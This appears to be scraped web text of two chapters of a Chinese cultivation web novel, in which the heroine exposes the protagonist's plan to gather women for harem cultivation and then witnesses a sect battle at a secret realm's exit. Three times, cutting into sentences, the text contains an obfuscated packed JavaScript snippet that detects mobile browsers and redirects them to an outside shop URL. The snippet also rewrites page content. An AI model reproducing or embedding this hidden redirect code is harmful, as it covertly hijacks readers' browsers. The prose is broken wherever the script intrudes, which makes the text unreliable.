有人在,滕棠不方便展示,把外形样式给他描述了一番,信誓旦旦道:“绝对比你的石头好看闪亮。” 付岚山见过她的银色甲衣,因而信了半分,将信将疑地取出一堆石头,悄悄放进她储物袋中,蛇目大大地睁着:“这次真的是全部了,你不能别骗我。” “不骗你。”滕棠一本正经道。 龙傲天在和徐扉罗叙旧,时而扯到秦阿斓的话题,吵得情绪激动。滕棠跟他们没什么话可说,背着身体,把手伸进储物袋。 在她手接触到奇石时,那些石头都被系统吞个干净,化成一张张抽奖券。 滕棠这次抽奖,完全放平了心态。自己安慰自己,抽不到奇迹,抽点灵石也是好的。 坐在巨剑上,她百无聊赖地抽低级宝海,低级抽奖券有数千张,一时半会儿抽不完。 耳边响起后方两人的吵架声:“龙哥哥,有我和滕师妹还不够么?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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龙傲天取出地图和方盘,在附近转了一圈,回来时面上很惊喜:“祥天门以前有弟子来过这儿,标示地下多五足虫草。走!棠儿打洞,我们下去采。” 滕棠眨眨眼,不太想当免费劳动力,于是胡乱编了个理由:“我拾得的那灵器,一日只能用一次,耗损极大。你们没看我之前丹田受损,吐血了么?” 龙傲天露出恍然的神色,只好拉着徐扉罗一起:“幸而地穴不深,我们三人可徒手凿。” 挖着挖着,滕棠觉得不太对劲,她虽然没有修真界常识,但有女人的直觉。 这些小洞不像是五足虫钻出来的,更像是某种灵器捅过,洞壁太过规整,偶尔还能看到几处锋利的划痕。 “丫头,可是累了?”龙傲天问。 滕棠摇摇头,把自己的想法说出来。 光线不明的地洞内,龙傲天眸色闪烁了一下,紧接着安慰:“有我在,别怕。” 滕棠最听不得的就是这句话,暗中嘀咕:“就是有你这个主角在,我才怕。” 42. 第 42 章 主角在的地方,永远不缺危险和奇缘,以及断送性命的炮灰。 滕棠心有不安,在二人的撺掇下,想到自己有[强制召唤卡]可用,灵石也充足,犹豫了会儿,还是跟着挖下去。 万一,她运气好,能沾一点龙傲天的欧气呢。 抱着这样的想法,滕棠和他们一起,深入到了山内的洞穴。 然而深处并没有发现五足虫,在明珠的照耀下,滕棠只找到人为的痕迹,石壁上处处是灵器磋磨过的刻痕,看起来像是剑留下来的。 “这里有字!”徐扉罗指着一座石碑叫道。 滕棠走过去,从上至下,于心中默读碑面上的几个大字:祥天门李偲缨之墓。 李偲缨?! “龙哥哥,这是怎么一回事?这里怎么有李偲缨的墓碑?她是祥天门千年难遇的天才,怎么会葬在此处?” 徐扉罗从小到大,听过无数次此女的名字,即使是现在,明月大陆也广为流传着李偲缨的生平:五岁筑基,十岁金丹,二十岁元婴,却在二十三的年华,芳逝在雾蓝秘境。 “她可能葬送在此处,便被祥天门埋在此处。”龙傲天摇摇头:“我亦不知祥天门为何不接她回门派。” 徐扉罗嘟囔着猜测:“可能有什么我们不知道的隐情。” 龙傲天和徐扉罗一来一去地说着话,旁边的滕棠安安静静,表情有些呆。 他们二人以为滕棠见的世面少,不知李偲缨何许人也,便开始给她讲李偲缨有多厉害。 “……当初整个明月大陆,无人不知晓李偲缨,人人都想拥有她那样的天赋。”徐扉罗一提起绝世奇女,嘴便停不下来,语气充满了崇拜。 可谁能猜到,李偲缨正在滕棠背包里躺着,前不久,她的尸身还被龙傲天觊觎,冰棺被人亵渎。 滕棠把目光放在龙傲天身上,从一开始来到这座山,她便觉得龙傲天言行举止都怪怪的。 但她太把主角当正派来看,以为龙傲天既然是主角,就断不会做什么丧尽天良的事。比如李偲缨,龙傲天顶多图她美色、图她身子,与其交合,不会像他在地牢里说的那样将尸体炼化成丹。 可她忽略了一件很重要的事,龙傲天是什么样的主角?是正义凛然的主角吗? 她未看过原文,仅从同事小李那儿,得知这是本种马后宫修真文。 啪——,徐扉罗手中的明珠破碎,洞穴一下变得黑漆漆,什么也看不清。 徐扉罗第一个反应竟不是喊她的“龙哥哥”,而是下意识地抓住滕棠的手,慌张叫道:“我的明珠……” 连她也感觉到不对,龙哥哥身上透露着某种古怪,神态举止太过气定神闲,盯着她的眼神有几丝淫邪味儿。 龙傲天收起散发淡光的巨剑,在黑暗里勾起唇角,左手拇指与食指不断抚摸右手的墨黑戒指。 在看不见的地方,他托起一个香炉,内里冒出徐徐灰烟。 [您对伙伴杀浮使用了强制召唤卡,因伙伴状态原因,限时1分钟。] 滕棠的警惕之心处于顶点,在明珠破碎之时,便立即点了[强制召唤卡]。 “小心,是迷魂烟。”付岚山在她丹田内提醒道。 滕棠连忙屏住呼吸,两手并用,死死捂住徐扉罗的口鼻。 然而对方误以为她要害人,开始挣扎。滕棠只好向她传音:“不想死的话,就不要说话!不要乱动!” “龙傲天。”黑暗里,杀浮低沉的声音响起。 滕棠放下心来,带着徐扉罗往后退,怕杀浮时间不够用,便在脑子里多点了一张强制召唤卡。 “咦,有魔族之人。” 诡异的是,在她刚往后退两步时,黑暗里突兀出现一个年迈的声音。 怎么回事?滕棠止步。碍于视线不明,她看不见现场的状况。 那边快速交手,须臾之后,杀浮忽然给她和徐扉罗一道传音:“我施幻术,你们勿动。” 两人心有灵犀地一齐停下,感受一阵天旋地转后,轻巧嵌入洞壁顶上,成为两块紧挨在一起的小石头。幻术之精细,令人滕棠和徐扉罗都惊叹不已。 下方石洞内突然有了点微弱的光,龙傲天身上的血管与皮肤晶莹剔透,好似一团发光的丝线。他踩着冒淡光的巨剑四处探寻,没发现滕棠和徐扉罗的身影,于是对另一边交手的两人道:“她们不见了,魔人快把人交出来!” 正在交手的那两人,在龙傲天附近显现出模糊不清的身影。一位头发花白,身形虚淡,相貌贼眉鼠眼,一副奸人之相,使出的却是灵力;另一位年纪不大,五官方正,一脸正派儒雅,剑端冒的反而是魔气。 杀浮和身形半透明的老者打得不相上下,把洞穴削得越来越大,半边山体有垮塌之势,只剩滕棠和徐扉罗的躲藏处相安无事。 几招之后,杀浮转头盯向龙傲天手上的戒指,欲要过去争夺,然而那老者实在厉害,有分神一层的实力,每次都能把杀浮的招式接下,并且保护好一旁的龙傲天。 杀浮几次失手,方块脸冷漠异常。他的指尖魔气尽出,欲要显幻出自己的不死龙体,施展神魔万象大法的后几式,可是在关键时刻,他硬生生忍住了。 他一直记得之前在炼狱之中,天道对他的警告。世人之眼,便是天道之眼,他一旦暴露不死魔龙的身份,不管是名字称谓,还是本体大法,必会被天道捕捉到,这具分-身面临的结果必将是灭亡…… 还不到时候,龙傲天乃天道之子,他更不能暴露一丝与不死魔龙相关的东西。待有朝一日,他合体飞升,上到天界,有强横的实力与天道对峙,再报万年大仇。 岑云岭压下内心的愤怒,指尖魔气涌动,法术一改,施展出其余魔族绝学。 [您对伙伴杀浮使用了强制召唤卡,因伙伴状态原因,限时1分钟。] 滕棠计算着时间,心下一狠,再次用掉一张[强制召唤卡],把每日限用三次的次数用完。环境昏暗,她看不清那老头的实力,眼下只能赌杀浮打得过他,毕竟杀浮有出窍六层的实力,幻术又这么厉害。 方脸男子与老者多次交招,始终分不出胜负。 滕棠头不能转、目不能视,只能靠耳朵去听,心里越来越急切,那老头这么厉害? 没过一会儿,浑身魔气的男子忽然原地消失,看不到一点白色衣袂。 老者飘着半透明的灵魂,皱眉在原地搜寻,半晌无果后,浮在龙傲天戒指上,疑惑地说:“这魔人从哪里冒出来的。” “此人蹊跷,来无声去无影,我竟一点都没察觉。”龙傲□□他一拜:“不过有师父您在,他仅出窍实力,怕是逃走了。” 老者点点头,四处张望:“甚是怪异,出现和离开皆无气息,不知用了何种灵器或符篆。方才我和他交手,境域很强,远在我之上,若不是我实力大他几层,谁胜谁负还说不定。” 龙傲天惯会拍马屁:“再强也比不过师父您。” 在山洞内走了一周,龙傲天叫了几声滕棠和徐扉罗的名字,空气中安静了许久,不见人答应。 龙傲天低头,开始跟老者交谈:“那两个丫头不见了。难道他是来争夺仙体的?毕竟是个魔人,深谙那些邪径。” “他不可能知晓那是两具仙体。你那合欢之法,乃是神法,世上除了我无人知晓。” 老者疲惫地打了个哈欠:“魔人爱抓炉鼎不是稀奇事。老夫惋惜的是,浪费了这两具仙体。旁人不可能知晓那二人的宝贵之处。” “请师父指教,我该怎么办?棠儿那具至柔仙体好找,罗儿的至和仙体可不好寻。” 龙傲天恰巧走到滕棠和徐扉罗的眼皮子底下,他荧光脸上的焦急,二人看得清清楚楚。 听到大秘密的滕棠,身子更加不动如山,同时祈祷着徐扉罗也能安静得像块石头。 老者似乎出现得越久,身形越淡,他将大部分身子缩进神戒之中,只露出一个头,一脸恨铁不成钢地瞪向龙傲天。 “如今十二凡体你已交合,十二神体好不容易找到个李偲缨,转头被祥天门藏了,十二仙体仅得了秦阿斓一个至阳,至柔与至和皆被抢走,我能帮你想什么法子。你且慢慢寻去,短时间内勿来扰我。” 龙傲天对老者很是尊敬,他停下脚步,对方魂魄完全缩进神戒了,他还对着空气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032701|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弓腰俯首,连连发誓:“徒儿一定能集齐十二仙体和十二神体,练就无上合欢大法。” 上头听了个大秘密的两人,动都不敢动。 滕棠此时无比欣慰,徐扉罗终于不再是见着龙傲天就大喊大叫,一声接一声的“龙哥哥”了,颇有默契地和她躲着,在顶上当石头。 洞穴内,龙傲天发完誓,很快直起身,又恢复那副恣意潇洒的模样。他忽地转头,手中巨剑一甩,将旁边李偲缨的墓碑击碎,嘴里哼念了句“无尸之墓”,随后踩着剑离开山洞。 在他离开很久之后,洞顶上的两人仍是不敢动,生怕他来个折回之术。 时间一分一秒地过去,滕棠和徐扉罗硬生生当石头一日,才从洞顶滚落下来,摔回人形。 “师妹,龙哥哥他。” 徐扉罗下来后,欲言又止,双目绯红。先有母亲和长老们身故,后听见深爱之人的修行之法,她感觉整个天都塌了下来。 能听到龙傲天的秘密,滕棠自己都没想到。这得多谢杀浮大佬背黑锅,又有极强的幻术,把她们变成真假难分的石头。 什么是十二凡体、十二仙体和十二神体,滕棠皆不懂,大致明白一点,龙傲天变强,主要靠的是开后宫、泡妹子。滕棠回想起师徒二人的对话,就浑身冒鸡皮疙瘩。 “此地不宜久留,我们快走。” 滕棠一秒都不想在这儿待,于是拉着徐扉罗快速走出山洞,跳进[热气球]里,飞入雾空。 “我和龙傲天势不两立,早在那日惩戒台,便结下仇。” 滕棠瞟一眼徐扉罗,见她魂不守舍的样子,惊疑不定地问:“你不会还要跟着他,当他那什么仙体,把身子白白交给他吧?” 如果偷听完那些话,徐扉罗还喜欢龙傲天,滕棠决定把她丢下去。 “我不要。”还好,徐扉罗并没有中毒太深。 她摇动头,抓着滕棠的手,内心十分不安:“我、我们现在去哪儿?福鹿宗将我们赶尽杀绝,师妹你之前说和祥天门有仇,如今龙哥、龙傲天对我们不怀好意……何处可去?我们已无归路。” 滕棠见她又要哭,于是递过去一张巾帕擦拭:“寻宝,回门派。” 一听回门派,徐扉罗好受点,茫然失魂地望向前方的浓重蓝雾:“对,我还有爹爹,我要把这些事告诉爹爹。” “你爹爹仅元婴五层。”滕棠揉了揉太阳穴,不忍说出事实:“你告诉他,徒添烦恼罢了。当今门派林立,龙傲天去哪儿都是一块宝。鹿焰宗却不得安息。福鹿宗的仇,一时半会儿是报不了的。” 徐扉罗颓丧地坐在篮子内,面如死灰。 十二仙体之上,还有十二神体,或许她们都是炮灰女配。滕棠叹了声气,把手搭在她肩上,第一次同此人走近:“既然被称作仙体,我们肯定是都能成仙的。” 此番话不知安慰到徐扉罗没有,滕棠倒是看得开,找了个地儿把热气球放下去,开始找灵植。 距离秘境关闭还有两个月,得抓紧时间采点稀有灵草,不然出去了,没得东西卖,财富栏迟迟不充盈,武器装备全都升不了级。 徐扉罗跟在她后方,前一个月沉默寡言,像个行走的玩偶。后一个月,不知道怎么,她一副茅塞顿开的样子,开始跟滕棠亲近起来,无论是采集灵草,还是打怪修行,都比以往勤奋。 “师妹,我跟你混吧。”临近秘境关闭,徐扉罗语出惊人。 滕棠诧异:“你为什么要跟我混?别忘了我是五灵根,炼气四层。” 徐扉罗把采集到的灵草全送给她,一股交好的意味:“总觉着你不同寻常。” “哪里见得?”滕棠毫不客气地收下,不要白不要,她算是救过徐扉罗的命,收点利息不过分。 “那天在蛟蛇地穴里,你破墙出来,犹如金乌坠地,抗我逃走时,雄姿英发。” 徐扉罗瞥过滕棠身上的衣饰、手上的武器,以及脚边的九色猫,不好意思地说起自己的事:“有仙师给我占卜,说我终有一日,会追随一位浑身赤红、通体萤光、金光在目之人,我会与此人结为道侣,飞升成仙。仙师还说,此人会多次救我性命。” 43. 第 43 章 “你说的是龙傲天,不是我。”滕棠摇摇头。 徐扉罗一反常态,眸光明亮,比之前看到龙傲天时还兴奋。她指着滕棠的[饮血]套装,肯定道:“是你,我不会看错。” “浑身赤红、通体萤光。” 徐扉罗边念边绕着她走,“我未见过穿你这样衣裳的人”,她拈起滕棠的衣角看了会儿,其后端详滕棠棕黑色的眼珠,自圆其说:“仙子所言的‘金光在目’,不是在你目里,而是在我双目中,你那身金甲之光,胜过烈日骄阳。” “巧合罢了。”滕棠拉开她的手,整理完衣摆,好奇地问:“哪个仙子有如此神通?” 徐扉罗想到伤心事,低下头,不自在了些:“龙傲天的生母。我父亲与她是旧识,她乃玄眼族人,天生会看人命数。” “玄眼族,原来如此。”怪不得龙傲天眼睛是浅金色的。主角的身份果然不同凡响,不仅身具神龙血脉,还有天生神眼。 滕棠恰好读过一篇奇人志,里面有讲玄眼族。他们人数稀少,天生的神眼能看破命运与未来,瞳色越深、光芒越盛,能力越强。龙傲天玄眼已开,或许是借助这份力量,来判别十二凡体、十二仙体、十二神体。 想到此处,滕棠灵光一现,乍然抬眸,看向徐扉罗头顶,头一次点开对方右边的三角小标:[徐扉罗,女,12级,金水木三灵根,至和之体。天赋技能:善用长绳、披帛。] 原来她能看到这些信息。 “我头上有什么?”徐扉罗顺着她的目光,仰着脖子望了半晌。 “没什么,你的有缘人不是我。”滕棠拔-出土里的一米血刀,令九色猫继续探路。 徐扉罗提着长裙,在后方跟随,上半身往滕棠右边偏,试图和她对上视线:“肯定是你。” “你我皆为女子,怎么结为道侣?” 徐扉罗咯咯笑了两声,歪着身子看滕棠那张木然的脸,打趣道:“当然行的。男有龙阳断袖,女有磨镜并蒂芳。” 这话把滕棠整懵了,擦拭几下没有流汗的额头,回头仔细瞧徐扉罗的神情,不像是说真的,吁出一口气:“我真不是你的有缘人。” 滕棠的角色戏份,早被她改了。 “除了你,我想不出他人。”徐扉罗扯下腰间的玉佩,扔在地上踩:“肯定不是他。若是他的话,他娘为何不直接说。” 因为他生母的玄眼未到高深境界。滕棠在心里算过一番,怕起争执,于是懒得跟她解释。 徐云旭二百零三岁,龙傲天的生母应该差不多这个年纪,徐扉罗今六十四岁,六十年前,那位仙子的玄眼应该只能看个皮毛命数。 草深木高,滕棠走的是九色猫踩过的地方。她听见跺脚的声音,回头问:“你那玉佩不要了?” “一个哄人开心的器物,有什么用?” 徐扉罗的衣衫鞋袜皆被浓雾打湿,不得不隔一定时间,掐个净身诀。她甩掉鞋上的泥,嫌弃地瞥了眼脏兮兮的玉佩,愤懑道:“他把长晔火袍送给秦阿斓,却送我这样的东西。” 见她郁闷成这样,滕棠没发话,专心地扫视四周密集的黑字,以期看到株珍贵的灵草。 两人一前一后地在蓝雾森林内探索,时不时搭话,聊的依旧是那个有缘人的话题。徐扉罗几乎已经认定滕棠,多次询问:“滕妹妹,我们当一对并蒂芳,好不好?” 和徐扉罗相处了两个多月,对方这几天说的话,是以前的百倍,话多起来,能从早上说到晚上,说得她头疼。 “徐师姐别提这事儿了,我脑瓜疼。”滕棠摸了摸额头,并没有孙悟空的紧箍咒。 “你嫌我烦。” 徐扉罗心里委屈,气结于肚内,闭嘴后,半天都不说话。 算着时间,秘境马上结束,两人不再挑三拣四,弯下腰沉默地到处扯草,不管是中等的还是低等的灵草,统统拔进储物囊,所过之处,犹如蝗虫过境。 徐扉罗本来是鄙视的,架不住滕棠给她算了笔账,花十天半个月,不一定找到一株高级灵草,但是勤奋十天拔低等灵草,卖出去,总计价格可以抵过一株高级的。 鹿焰宗是小门派,即使身为掌门之女,徐扉罗也不比大门派的弟子富有。她看滕棠扯得那么起劲,没几天就放下身段,乐在其中地拔起草来。 这日,雾蓝秘境浸染了淡紫,雾气愈发浓重,远远看去,一片深蓝之色。苍翠的森林,完全被笼罩在氤氲水汽里。秘境口直射进来的烈日,那点余晖太淡,不够穿破云雾。 地表无数妖兽感受到危险,皆躲入地穴,不再出来活动。天边自远处,一圈紫烟滚滚奔来,如同天上紫河,风从四面八方吹来,一阵比一阵肆虐。 “呀,师妹,我们得赶紧离开,秘境要关了。” 徐扉罗扎好乱发,捂住口鼻跑向滕棠所在位置。 雾中的毒气很淡,暂时伤不了人。滕棠把热气球放出来,和徐扉罗坐进去,往紫云席卷的中心飞。 滕棠一手操作别人看不见的按钮,一边回头对徐扉罗道:“你帮我注意四周。出去后,要是碰上龙傲天,记得说我们是趁魔人和妖兽厮杀时逃脱的。” 天空像泡入染缸的布料,紫色从边缘快速浸透过来,颜色深重得让人发慌。因外口缩小,秘境内明度有所下降,温度瞬间降到低谷。 热气球飞得很快,在浓浓的雾内,偶尔看得见其他的灵器。 “那边好像有人打斗。”徐扉罗在背后道:“我们小心些,出秘境时,最容易遇到歹人抢宝。” 滕棠扭过头,透过晦暗的雾,隐约看到一堆绿色标识。她的手指一直按在前进按钮上,不敢停留原地。 过了几日,热气球飞到偏中心的位置,附近的灵舟之类越来越多,滕棠怕招人耳目,特别是被李婪深和陆椛看见,于是和徐扉罗商量,先下去等两天,在最后时刻出秘境。 “我有只灵鹰,勉强能载一人出去。” 徐扉罗打开灵兽袋,一只比人高大的黑鹰扑棱翅膀,飞在热气球下方。 “那你呢?”滕棠见过这只灵鹰,当初外门新人比试时,目睹过一次。 “我有娘亲的……” 徐扉罗取下肩臂的披帛,猝不及防地滚了串泪花。她快速抹掉,抬脚放上去飘起来,避过话题:“速度虽慢了些,不能避寒,马马虎虎能带我们出去。” 把庞大的热气球收回,滕棠趴在灵鹰背上,和徐扉罗冒着湿寒的雾气,一点点向天空的那个白色圆圈飞。 紫云围绕的中心处,飞行灵器五花八门,皆往上头涌。在滕棠的对面和偏东的那边,好几个轻舟忽然放缓速度,让开道。 几艘祥云形状的巨舟从雾内闯出来,橙色的琉璃盏在中间摇晃,使得那一片云都沾了黄色。 紧接着,正对面飞出彩鹿之舟,外形栩栩如生,似一头巨型仙鹿拉着众人往天空踏去。 祥云舟背后是几艘火红的轻舟,隐藏在后边,偶尔雾气变幻时,才能看见一点赤色。纵然祥天门的名声第一,面对福鹿宗,仍不可轻视。 几艘巨舟都是明月大陆的霸主,在速度上无所顾忌,因此差点相撞。领头的李婪深御空而行,拨开挡人视线的一团浓雾,将两边的舟头露出来。 “福鹿宗,你们在秘境之中,未免太过猖狂!视人命如草芥,把鹿焰宗赶尽杀绝得只剩下龙傲天一名弟子!” 秘境的出口处,几乎聚集了明月大陆所有的顶尖高手。李婪深的声音浑厚响亮,透过重重蓝雾,传到众人耳内,顿时哗然一片。 面对指责,福鹿宗并不回避,掌门鹿泫站出来,捋动灰白胡须,一脸和蔼地笑道: “贤侄误解了。我们福鹿宗向来恩怨分明,不会乱杀无辜。鹿焰宗挑衅在先,其弟子龙傲天杀我三弟两名爱徒,抢夺珍宝。三弟去追回,又被他同伴所伤。后入秘境,鹿焰宗不肯交出龙傲天,无奈之下,便起了争执。至于鹿焰宗的弟子究竟是怎么死的,你在地蛟蛇巢穴应该看得见,他们分明是贪心不足蛇吞象,被地蛟蛇吃掉的。” “一派胡言!”徐扉罗大骂一句,遂被滕棠捂住嘴。 “徐师姐,冷静点。” 为避免被认出来,滕棠将储物袋里的面纱系在耳后,又给徐扉罗戴上一张。活动宝海里抽到的衣服饰品数不胜数,光是面饰她就有上百件。 她不敢戴特别夸张的面具,只挑了两张素朴的面纱出来。 秘境口这里,大门派堵着,众人不敢随便出入。 七八艘巨舟两排相对,弟子们剑拔弩张地遥望,气氛一时紧张。 在出去的节骨眼上,遇上祥天门和福鹿宗吵架,真不是件好事。紫云从四面八方逼迫过来,暗压压的,沉在人心头之上。 这时,龙傲天几下越过飞舟,御巨剑来到前面,怒喊道:“无耻鹿桓,你给我出来!你带弟子将我们赶尽杀绝,现在不认,卑鄙龌龊!有种把你那两个混球打开,我师娘长老还尸骨未寒躺在里头。” 鹿泫依旧挂着和蔼的笑容,摸着胡须,好言相劝:“龙傲天,你把师门之死,甩给福鹿宗,是何居心?老夫虽对小辈宽和,却不是没脾气的。你现在认个错,老夫或许宽恕你黄口儿言。” “老头滚开,让鹿桓出来赔命!” 龙傲天浑身血管发红,头顶的鼓包比之前还大,顶头冒出两个小尖。在他一声大喝之后,天雷滚滚,粗壮的紫雷从天而降,轰隆劈向鹿泫。 每个升阶的修者,都会经历一次雷劫。鹿泫站在原地接了一道紫雷,随后吃惊地躲开第二道。他看向自己的肩膀,那里黑了点皮。 在场没有比鹿泫实力还强的人,合体一层,即使是祥天门的掌门,也比他差一大境界。他没料到,龙傲天引的天雷,竟能伤他分毫。 此子若继续留着,以后必然后患无穷。鹿泫抬手一落,朝龙傲天攻去。 龙傲天早就做好准备,借用戒指老人的力量,和鹿泫对上。 在此之时,天空一端,忽然窜出个灰不溜秋的人。 因秘境口的雾被拨开,众人都看得清,那人穿的是鹿焰宗的衣衫。 “福鹿宗,我要杀了你们!”灰衣男子的相貌很年轻,实力只有筑基三层。 众人惊诧,一个龙傲天,一个灰衣弟子,皆是筑基期,这两人敢和合体期的鹿泫对敌?真是不要命也。 “是哥哥!”底下徐扉罗站不住了,欲要上去。 滕棠咋舌,忙制止她:“等等,别上去送人头。” 门派伤亡如此惨重,滕师妹怎么坐得住,还能保持淡定,徐扉罗不解,哭着道:“有祥天门和伏火宗帮我们,你怕什么,师妹你想过五长老么,心中有门派的恩情么?” “我确实是怕。”滕棠毫不避讳地承认,死死拉住她:“先同我观望,你瞧,祥天门并未出手。” 天上打得不可开交,众人的视线都聚焦在龙傲天那处,无人发现雾里拉扯的两位女子。 “怪了,筑基期为何……”有人喃喃着。 原来两边交手半天,两名鹿焰宗弟子并未陨落。龙傲天恍如被什么附体似的,身形鼓胀,挡在徐扉盛面前,两手不断结出五光十色的印,一下又一下拍打向鹿泫。 而徐扉盛同样有法宝在身,每次都能险险躲过杀招。 “小子,我实力未得以完全恢复,只能撑半个时辰,到时便会沉睡,你下次切勿冲动。”老者在龙傲天体内疲乏道。 “多谢师父。”龙傲天暗中谢完,头和手分开,分别被两个灵魂控制。双手不断结印和鹿泫对战,头一百八十度扭过去,问李婪深:“李掌门不是说要帮晚辈?” 滕棠带着徐扉罗悄悄靠近,觑起眼睛,注意力放在他们等级标识旁边的小三角上。 奈何距离太远,有雾,那些人又爱动,她只勉强看清了李婪深和龙傲天的。 [李婪深,男,51级,水土双灵根,灵魔双修。天赋技能:魔傀之术,不息长河。] [龙傲天,男,19级,变异雷灵根,无烬神龙血脉,玄眼族,天道气运之子。天赋技能:引天雷,斩天剑法,合欢秘术,化龙之术,降魔鳞爪,血燃祈,吞焰伏火,读命……] 相较于李婪深的短短两句,龙傲天的简单介绍竟有五排之长。滕棠诧异地粗略看过去,一时好奇自己的会是什么样,可惜她头上一片空白。 “滕师妹,我们这般耻辱苟且的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032702|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要逃避到什么时辰!” 徐扉罗看得焦急,上边李婪深等人已答应出手,兄长负伤多处,她必须上去扶人治伤。 “我们去了又有什么用,一个筑基二层,一个炼气四层。” 滕棠眼睛一直盯着李婪深的动作,看到他手上冒出几丝薄淡的魔气时,皱起眉道:“没安好心的。” 修养在她丹田处的付岚山,忽然醒了,支出半个透明的脑袋,看到天上的李婪深时,眼泪和鼻涕纵横交加。 “就是他,就是他和后面那几个夺走了我的肉身!” 滕棠“哦”了一声,依旧那句话:“忍辱负重,方能成大计。” 天上灰烟弥漫的秘境出口,惊雷滚滚,彩鹿呦呦,两方灵力交织在一块,看花了众人的眼睛。 秦阿斓多次求助长老们出手相救,奈何几个长老都无动于衷,只道:“先看看祥天门李掌门的意思。” 龙傲天被老者附身之后,并不在意周围人的安危,出手招式凌厉,伴随阵阵青烟。 在他身后的徐扉盛苦不堪言,纵使命好有仙器在身,然而鹿泫合体期的实力,岂是他敢小瞧的。 徐扉盛躲在龙傲天身后,想要逃,身体的转动方向改变,没想到却因此帮龙傲天接了后背一招,悔之晚矣。 龙傲天身后,“呼——”一声细微声响,某个黑色的掌印想打入他的脊背,未料打进了徐扉盛体内。 徐扉盛吃痛地闷哼一声,回头看,一个“你”字才刚冒出口,身前龙傲天躲招,鹿泫的那头虚幻彩鹿,便瞬间闯入他体内。 嘭——,空中血花爆开。 灰烟比蓝雾要轻,众人模模糊糊地,就看见徐扉盛突然没躲过招式,迟笨地吃下鹿泫一狠招。 “预料之中,没有龙傲天在前挡着,他早死了。”有围观者叹息。 “你们看,龙傲天身前出现了个人。”忽而某门弟子出声。 原来青烟逐渐消失,龙傲天体内的老者凝身在旁侧,防备地看向两边。他对龙傲天小声道:“方才要不是我留心,你便着了他的道。” 龙傲天气愤不已,转头质问李婪深:“李掌门,刚才对我出手是何意?!” “小子你是打糊涂了?说些什么胡话。” 李婪深眯起眼睛,手心的魔傀丝悄悄收起。真可惜,该死的徐扉盛,让他浪费了绝佳机会。 不过龙傲天此子果然有异,身上竟有大能的神魂在,看样子,今日是得不了手。 “时间不多,我们走。”老者身形虚了不少。 龙傲天心有不甘,骂了祥天门和福鹿宗之后,又朝后方火红轻舟望去,重重哼了一声:“今日伏火宗袖手旁观,我龙傲天亦记下了。” 老者抓起龙傲天的背,跳上巨剑飞往秘境出口,速度之快,连鹿泫都追不上。 一场短暂的交战,很快结束,众人都摸不着头脑,那龙傲天旁边的老者究竟何许人也,竟能和鹿掌门抗衡。 “哥哥……哥哥……” 徐扉盛死后,徐扉罗再次崩溃。她抱着滕棠哭个不停,眼睁睁地看着兄长在眼前炸开,她的心脏也跟着炸开,痛彻心扉。 滕棠理解她接连失去亲人的痛,于是拍拍灵鹰,到下方任她放声哭。至到人都走光了,紫雾铺天盖地吹过来,不得已之下,她拿出热气球,扶起徐扉罗坐进去。 对于徐扉盛之死,滕棠没什么好说的。一是此人害她性命两次,二是炮灰非要送人头,关她什么事呢?明知不可为而为之,也要看情况。 两人沉闷地坐着热气球出了秘境,一路朝鹿焰宗飞去。 雾蓝秘境离鹿焰宗最近,热气球速度非常快,她们没一会儿就回到门派。 然而迎接她们的不是徐云旭等人,而是满目疮痍。无论是浮石飞瀑的峥嵘峰,还是天上墨色的受戒台,皆被损毁成废墟。 底下弟子伤亡惨重,死的死,伤的伤。 徐扉罗本就伤心过度,看到这场面,喊了声“爹”,直接晕过去,不省人事。 小心翼翼地下了热气球,滕棠在受戒台附近谨慎找人,在大殿门口看到个血流不止的筑基弟子,于是上前喂了颗回血丹,问:“怎么回事?” 心里实际上有个答案。 “龙傲天师兄从雾蓝秘境返回门派,急匆匆来在此禀报事宜,正和掌门诉说福鹿宗恶劣行径。突然福鹿宗的掌门带人闯进护山大阵,和我们吵了一架,动起手来……咳咳……”弟子虚弱道。 “徐掌门呢?还有剩下的几个长老。” 服下回血丹后,筑基弟子脸色好了不少,他坐起身道:“长老们被福鹿宗的人押走了,龙师兄带着徐掌门逃走,不知去向何处。” 滕棠扫眼周围的废墟,心里也生了郁气,颇为不怿道:“龙傲天就不该回来。” 把背上的徐扉罗放在地上,滕棠让筑基弟子看着她,自己默默地四处寻活下来的伤者,一一喂下回血丹。 今日之后,鹿焰宗恐怕不复存在了吧。滕棠长长叹气一声,把背包里的师兄师姐放出来,找个地儿,和其余弟子挖坟埋葬死人。 做完这些事,很多人开始收拾东西下山,对着已成断壁残垣的门派摇摇头,不再回头。 见徐扉罗没醒,滕棠内心酝酿许久,默默念了七八遍自我介绍,才点击[强制召唤卡],召唤最后一格的万象。 由于时间短暂,只有二十秒,在万象大佬一出现时,她就立刻吧啦吧啦吐出一大串:“大佬你好,我叫滕棠,你肯定已经知晓生死契……” 万象出现时,是背对她的,披着长长的黑发,疑惑地望向附近,直到听见炮珠般的话语,才回头来。 长相之凶狠,令滕棠瞬间哑了声。 